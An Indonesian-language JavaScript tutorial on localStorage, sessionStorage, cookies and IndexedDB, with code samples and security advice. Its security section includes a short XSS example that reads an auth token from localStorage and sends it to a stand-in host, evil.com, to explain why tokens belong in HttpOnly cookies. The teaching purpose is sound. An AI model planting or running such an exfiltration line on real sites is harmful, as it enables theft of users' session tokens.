Web Storage & Cookie

Web Storage dan cookie memungkinkan aplikasi menyimpan data di browser tanpa server. Artikel ini membahas localStorage, sessionStorage, cookie, perbedaannya, serta best practice keamanan dan kasus penggunaan.

Pendahuluan

Aplikasi web modern sering perlu menyimpan data di sisi klien (browser) — misalnya preferensi tema, keranjang belanja, token login, atau draft form. Data ini harus tetap ada meskipun halaman di-refresh atau browser ditutup.

JavaScript menyediakan beberapa mekanisme penyimpanan di browser:

  • localStorage — data permanen per origin.
  • sessionStorage — data per tab/sesi.
  • Cookie — data kecil yang dikirim ke server setiap request.
  • IndexedDB — database NoSQL di browser untuk data besar.

Artikel ini membahas keempatnya, perbedaannya, kasus penggunaan, serta best practice keamanan.

Asumsi: Anda sudah memahami DOM dan event handling dari artikel sebelumnya. Gunakan DevTools → tab Application untuk melihat storage.


Perbandingan Mekanisme Penyimpanan

Aspek localStorage sessionStorage Cookie IndexedDB
Kapasitas ~5–10 MB ~5 MB ~4 KB per cookie ~50 MB+
Masa hidup Permanen (sampai dihapus) Per tab/sesi Bisa diatur (expires) Permanen
Dikirim ke server ❌ ❌ ✅ (setiap request) ❌
API Synchronous Synchronous Synchronous (document.cookie) Asynchronous
Tipe data String saja String saja String saja Semua tipe (structured)
Akses dari JS ✅ ✅ ✅ (kecuali HttpOnly) ✅
Scope Per origin Per tab + origin Per domain + path Per origin

Ringkasan cepat: Gunakan localStorage untuk preferensi & data non-sensitif, sessionStorage untuk data sementara per tab, cookie untuk data yang perlu dikirim ke server (misalnya session ID), dan IndexedDB untuk data besar/terstruktur.


localStorage

Menyimpan data permanen per origin — tetap ada meskipun browser ditutup, sampai dihapus manual atau oleh kode.

API Dasar

// Menyimpan
localStorage.setItem("tema", "dark");
localStorage.setItem("bahasa", "id");

// Mengambil
const tema = localStorage.getItem("tema");
console.log(tema); // "dark"

// Mengambil yang tidak ada
console.log(localStorage.getItem("tidakAda")); // null

// Menghapus satu item
localStorage.removeItem("tema");

// Menghapus semua
localStorage.clear();

// Jumlah item
console.log(localStorage.length);

// Key berdasarkan index
console.log(localStorage.key(0));

Menyimpan Object/Array (JSON)

localStorage hanya bisa menyimpan string. Untuk object/array, gunakan JSON.stringify() dan JSON.parse().

const user = {
  id: 1,
  nama: "Budi",
  preferensi: { tema: "dark", bahasa: "id" }
};

// Simpan
localStorage.setItem("user", JSON.stringify(user));

// Ambil
const stored = localStorage.getItem("user");
if (stored) {
  const userData = JSON.parse(stored);
  console.log(userData.nama); // "Budi"
}

Helper function untuk kenyamanan:

const storage = {
  set(key, value) {
    try {
      localStorage.setItem(key, JSON.stringify(value));
    } catch (e) {
      console.error("Gagal menyimpan:", e);
    }
  },

  get(key, defaultValue = null) {
    try {
      const item = localStorage.getItem(key);
      return item ? JSON.parse(item) : defaultValue;
    } catch (e) {
      console.error("Gagal membaca:", e);
      return defaultValue;
    }
  },

  remove(key) {
    localStorage.removeItem(key);
  },

  clear() {
    localStorage.clear();
  }
};

// Penggunaan
storage.set("user", { nama: "Budi" });
const user = storage.get("user", {});
console.log(user.nama); // "Budi"

Iterasi Semua Item

// Cara 1: for loop
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  console.log(`${key}: ${localStorage.getItem(key)}`);
}

// Cara 2: Object.keys (localStorage adalah object-like)
Object.keys(localStorage).forEach(key => {
  console.log(`${key}: ${localStorage.getItem(key)}`);
});

Event storage — Sinkronisasi Antar Tab

Event storage dipicu di tab lain (bukan tab yang mengubah) saat localStorage berubah. Berguna untuk sinkronisasi state antar tab.

window.addEventListener("storage", (e) => {
  console.log("Key:", e.key);
  console.log("Nilai lama:", e.oldValue);
  console.log("Nilai baru:", e.newValue);
  console.log("URL:", e.url);

  if (e.key === "tema") {
    terapkanTema(e.newValue);
  }
});

Catatan: Event storage tidak dipicu di tab yang melakukan perubahan — hanya di tab lain dari origin yang sama.

Batasan localStorage

  • Hanya string — object harus di-JSON-kan.
  • Synchronous — operasi besar bisa memblokir main thread.
  • Kapasitas terbatas (~5–10 MB).
  • Tidak aman untuk data sensitif — bisa diakses JavaScript (rentan XSS).
  • Tidak bisa diakses di private mode (Safari lama) — bisa throw error.

Error handling:

try {
  localStorage.setItem("data", "x".repeat(10 * 1024 * 1024)); // 10 MB
} catch (e) {
  if (e.name === "QuotaExceededError") {
    console.error("Storage penuh!");
  }
}

sessionStorage

Mirip localStorage, tetapi data hanya bertahan selama sesi tab. Data hilang saat tab ditutup.

API (Sama dengan localStorage)

sessionStorage.setItem("draft", "Teks draft...");
const draft = sessionStorage.getItem("draft");
sessionStorage.removeItem("draft");
sessionStorage.clear();

Kapan Menggunakan sessionStorage?

  • Draft form — agar tidak hilang saat refresh, tetapi hilang saat tab ditutup.
  • State sementara — misalnya langkah wizard multi-step.
  • Data per tab — misalnya filter yang berbeda di setiap tab.
// Simpan draft form
const form = document.querySelector("#form");
form.addEventListener("input", () => {
  const data = Object.fromEntries(new FormData(form));
  sessionStorage.setItem("draft-form", JSON.stringify(data));
});

// Restore saat halaman dimuat
window.addEventListener("DOMContentLoaded", () => {
  const draft = sessionStorage.getItem("draft-form");
  if (draft) {
    const data = JSON.parse(draft);
    Object.entries(data).forEach(([key, value]) => {
      const input = form.elements[key];
      if (input) input.value = value;
    });
  }
});

// Hapus draft setelah submit berhasil
form.addEventListener("submit", (e) => {
  e.preventDefault();
  // ... kirim data ...
  sessionStorage.removeItem("draft-form");
});

Perbedaan localStorage vs sessionStorage

// Di tab 1
localStorage.setItem("a", "1");     // terlihat di semua tab
sessionStorage.setItem("b", "2");   // hanya di tab ini

// Buka tab 2 (origin sama)
console.log(localStorage.getItem("a"));   // "1" — bisa diakses
console.log(sessionStorage.getItem("b")); // null — tidak bisa diakses

Catatan: sessionStorage juga terpisah per tab, tetapi dibagi jika tab dibuka via window.open() dari tab yang sama (di beberapa browser).


Cookie adalah data kecil yang disimpan di browser dan dikirim ke server pada setiap request HTTP ke domain yang sama.

  • Session ID — untuk autentikasi (biasanya HttpOnly).
  • Preferensi yang perlu diketahui server (misalnya bahasa).
  • Tracking (analytics, iklan) — biasanya pihak ketiga.

⚠️ Peringatan: Untuk data yang tidak perlu dikirim ke server, gunakan localStorage/sessionStorage — lebih efisien dan tidak membebani request.

Semua cookie diakses melalui satu string document.cookie:

console.log(document.cookie);
// "tema=dark; bahasa=id; session_id=abc123"
document.cookie = "tema=dark";

Menambah cookie lain (tidak menimpa, kecuali nama sama):

document.cookie = "bahasa=id";
// document.cookie sekarang: "tema=dark; bahasa=id"

Dengan atribut:

document.cookie = "tema=dark; path=/; max-age=86400; SameSite=Lax";
Atribut Arti
path=/ Cookie tersedia di seluruh situs
path=/admin Cookie hanya di path /admin
max-age=86400 Masa hidup dalam detik (1 hari)
expires=... Tanggal kedaluwarsa (format UTC)
domain=.example.com Cookie tersedia di subdomain
Secure Hanya dikirim via HTTPS
HttpOnly Tidak bisa diakses JavaScript (hanya server)
SameSite=Strict/Lax/None Kontrol pengiriman lintas situs

Contoh dengan expires:

const date = new Date();
date.setTime(date.getTime() + 7 * 24 * 60 * 60 * 1000); // 7 hari
document.cookie = `tema=dark; expires=${date.toUTCString()}; path=/`;

Set max-age=0 atau expires di masa lalu:

document.cookie = "tema=; max-age=0; path=/";

Catatan: Atribut path dan domain harus sama dengan saat cookie dibuat agar penghapusan berhasil.

const cookieHelper = {
  set(name, value, days = 7) {
    const date = new Date();
    date.setTime(date.getTime() + days * 24 * 60 * 60 * 1000);
    document.cookie = `${name}=${encodeURIComponent(value)}; expires=${date.toUTCString()}; path=/; SameSite=Lax`;
  },

  get(name) {
    const cookies = document.cookie.split("; ");
    for (const cookie of cookies) {
      const [key, ...rest] = cookie.split("=");
      if (key === name) {
        return decodeURIComponent(rest.join("="));
      }
    }
    return null;
  },

  remove(name) {
    document.cookie = `${name}=; max-age=0; path=/`;
  }
};

// Penggunaan
cookieHelper.set("tema", "dark");
console.log(cookieHelper.get("tema")); // "dark"
cookieHelper.remove("tema");
  • HttpOnly — cookie tidak bisa diakses via document.cookie. Hanya bisa di-set oleh server. Ini mencegah pencurian cookie via XSS.
  • Secure — cookie hanya dikirim via HTTPS.
// Cookie HttpOnly TIDAK bisa di-set dari JavaScript!
// Harus di-set oleh server via header Set-Cookie:
// Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

Penting untuk keamanan: Cookie session/token autentikasi harus HttpOnly + Secure + SameSite. Jangan pernah menyimpan token autentikasi di localStorage (rentan XSS).

SameSite — Perlindungan CSRF

Nilai Perilaku
Strict Cookie tidak dikirim pada request lintas situs
Lax (default) Cookie dikirim pada navigasi top-level (klik link), tidak pada request POST lintas situs
None Cookie selalu dikirim (wajib Secure)
document.cookie = "pref=dark; SameSite=Strict; Secure; path=/";

IndexedDB — Untuk Data Besar

IndexedDB adalah database NoSQL di browser untuk menyimpan data terstruktur dalam jumlah besar. API-nya asynchronous dan lebih kompleks.

Kapan Menggunakan IndexedDB?

  • Data > 5 MB.
  • Menyimpan file/blob (gambar, audio).
  • Cache data API untuk offline (PWA).
  • Data terstruktur dengan index.

Contoh Dasar

// Buka database
const request = indexedDB.open("TokoDB", 1);

request.onupgradeneeded = (e) => {
  const db = e.target.result;
  if (!db.objectStoreNames.contains("produk")) {
    const store = db.createObjectStore("produk", { keyPath: "id", autoIncrement: true });
    store.createIndex("nama", "nama", { unique: false });
  }
};

request.onsuccess = (e) => {
  const db = e.target.result;
  console.log("Database terbuka");

  // Tambah data
  const tx = db.transaction("produk", "readwrite");
  const store = tx.objectStore("produk");
  store.add({ nama: "Keyboard", harga: 450000 });

  tx.oncomplete = () => {
    console.log("Data tersimpan");

    // Baca data
    const tx2 = db.transaction("produk", "readonly");
    const store2 = tx2.objectStore("produk");
    const getAll = store2.getAll();

    getAll.onsuccess = () => {
      console.log(getAll.result);
    };
  };
};

request.onerror = (e) => {
  console.error("Gagal membuka database:", e.target.error);
};

Library Pembungkus

API IndexedDB mentah sangat verbose. Untuk penggunaan praktis, gunakan library:

  • idb — pembungkus kecil dan modern.
  • localForage — API mirip localStorage, mendukung IndexedDB di belakang layar.
// Contoh dengan localForage
import localforage from "localforage";

await localforage.setItem("user", { nama: "Budi" });
const user = await localforage.getItem("user");
console.log(user.nama); // "Budi"

Catatan: Detail IndexedDB dibahas di artikel terpisah. Untuk sebagian besar kasus, localStorage atau library seperti localForage sudah cukup.


Keamanan: Apa yang Boleh Disimpan?

❌ JANGAN Simpan di localStorage/sessionStorage

  • Token autentikasi (JWT, session token) — rentan XSS.
  • Password — dalam bentuk apa pun.
  • Data pribadi sensitif (KTP, kartu kredit, nomor telepon).
  • API key rahasia — bisa diakses siapa saja yang membuka DevTools.

✅ AMAN Disimpan di localStorage/sessionStorage

  • Preferensi tampilan (tema, bahasa, font size).
  • Keranjang belanja (non-sensitif).
  • Draft form (non-sensitif).
  • State UI (tab aktif, filter).
  • Data cache non-sensitif.

Mengapa localStorage Tidak Aman untuk Token?

JavaScript di halaman bisa mengakses localStorage. Jika ada XSS (Cross-Site Scripting) — misalnya library yang rentan atau input user yang tidak disanitasi — penyerang bisa mencuri token:

// Penyerang menyisipkan script ini via XSS:
const stolen = localStorage.getItem("token");
fetch("https://evil.com/steal", { method: "POST", body: stolen });

Solusi untuk autentikasi:

  • Simpan token di cookie HttpOnly + Secure + SameSite — tidak bisa diakses JavaScript.
  • Terapkan CSRF protection (misalnya CSRF token).
  • Gunakan Content Security Policy (CSP) untuk memitigasi XSS.
  • Sanitasi semua input user.

Contoh Praktis

1. Tema Dark/Light dengan localStorage

// Terapkan tema saat halaman dimuat
function terapkanTema(tema) {
  document.body.classList.toggle("dark-mode", tema === "dark");
  btnTema.textContent = tema === "dark" ? "☀️" : "🌙";
}

// Muat preferensi
const temaTersimpan = localStorage.getItem("tema") || "light";
terapkanTema(temaTersimpan);

// Toggle
btnTema.addEventListener("click", () => {
  const temaBaru = document.body.classList.contains("dark-mode") ? "light" : "dark";
  localStorage.setItem("tema", temaBaru);
  terapkanTema(temaBaru);
});

// Sinkronisasi antar tab
window.addEventListener("storage", (e) => {
  if (e.key === "tema") terapkanTema(e.newValue);
});

2. Keranjang Belanja dengan localStorage

const keranjang = {
  items: JSON.parse(localStorage.getItem("keranjang") || "[]"),

  simpan() {
    localStorage.setItem("keranjang", JSON.stringify(this.items));
  },

  tambah(produk) {
    const existing = this.items.find(i => i.id === produk.id);
    if (existing) {
      existing.jumlah++;
    } else {
      this.items.push({ ...produk, jumlah: 1 });
    }
    this.simpan();
    this.render();
  },

  hapus(id) {
    this.items = this.items.filter(i => i.id !== id);
    this.simpan();
    this.render();
  },

  total() {
    return this.items.reduce((sum, i) => sum + i.harga * i.jumlah, 0);
  },

  render() {
    const container = document.querySelector("#keranjang");
    container.innerHTML = "";
    this.items.forEach(item => {
      const div = document.createElement("div");
      div.textContent = `${item.nama} x${item.jumlah} = Rp${item.harga * item.jumlah}`;
      container.appendChild(div);
    });

    const totalEl = document.querySelector("#total");
    totalEl.textContent = `Total: Rp${this.total().toLocaleString("id-ID")}`;
  }
};

keranjang.render();

3. Form Draft dengan sessionStorage

const form = document.querySelector("#form-produk");
const DRAFT_KEY = "draft-produk";

// Simpan draft saat input berubah
form.addEventListener("input", () => {
  const data = Object.fromEntries(new FormData(form));
  sessionStorage.setItem(DRAFT_KEY, JSON.stringify(data));
});

// Restore draft saat dimuat
window.addEventListener("DOMContentLoaded", () => {
  const draft = sessionStorage.getItem(DRAFT_KEY);
  if (!draft) return;

  const data = JSON.parse(draft);
  Object.entries(data).forEach(([name, value]) => {
    const input = form.elements[name];
    if (input) input.value = value;
  });
});

// Hapus draft setelah submit
form.addEventListener("submit", (e) => {
  e.preventDefault();
  // ... proses submit ...
  sessionStorage.removeItem(DRAFT_KEY);
  form.reset();
});
// Simpan bahasa
function setBahasa(lang) {
  document.cookie = `bahasa=${lang}; max-age=${365 * 24 * 60 * 60}; path=/; SameSite=Lax`;
}

// Baca bahasa
function getBahasa() {
  const match = document.cookie.match(/(?:^|;\s*)bahasa=([^;]*)/);
  return match ? decodeURIComponent(match[1]) : "id";
}

// Ganti bahasa
document.querySelector("#pilih-bahasa").addEventListener("change", (e) => {
  setBahasa(e.target.value);
  location.reload(); // reload untuk menerapkan
});

Tips & Best Practice

  1. Gunakan localStorage untuk preferensi & data non-sensitif yang perlu permanen.

  2. Gunakan sessionStorage untuk data sementara per tab (draft, state wizard).

  3. Gunakan cookie hanya untuk data yang perlu dikirim ke server (session ID, preferensi server).

  4. Jangan simpan token autentikasi di localStorage/sessionStorage — gunakan cookie HttpOnly.

  5. Selalu gunakan JSON.stringify()/JSON.parse() untuk object/array.

  6. Bungkus dengan try/catch — localStorage bisa throw error (quota, private mode).

  7. Sanitasi data sebelum menampilkan — jangan gunakan innerHTML dengan data dari storage.

  8. Untuk data besar (> 5 MB), gunakan IndexedDB (atau localForage).

  9. Bersihkan data lama — hapus data yang tidak lagi diperlukan untuk menghindari penumpukan.

  10. Gunakan SameSite=Lax (default) untuk cookie — mitigasi CSRF.


Ringkasan

Mekanisme Kapasitas Masa Hidup Dikirim ke Server Kasus Penggunaan
localStorage ~5–10 MB Permanen ❌ Preferensi, keranjang, cache
sessionStorage ~5 MB Per tab ❌ Draft form, state sementara
Cookie ~4 KB Bisa diatur ✅ Session ID, preferensi server
IndexedDB ~50 MB+ Permanen ❌ Data besar, file, cache offline

Poin penting:

  • localStorage/sessionStorage hanya string — gunakan JSON untuk object.
  • Cookie dikirim ke server setiap request — jangan simpan data besar di cookie.
  • Jangan simpan token autentikasi di localStorage — rentan XSS. Gunakan cookie HttpOnly + Secure + SameSite.
  • sessionStorage terpisah per tab — cocok untuk draft form.
  • Event storage memungkinkan sinkronisasi antar tab.
  • IndexedDB untuk data besar (> 5 MB) — API kompleks, gunakan library seperti idb/localForage.
  • Selalu sanitasi data dari storage sebelum menampilkan.

Pada artikel berikutnya, kita akan membahas ES6+ Fitur Modern — let/const, template literal, destructuring, spread, module, class, dan lainnya.

Top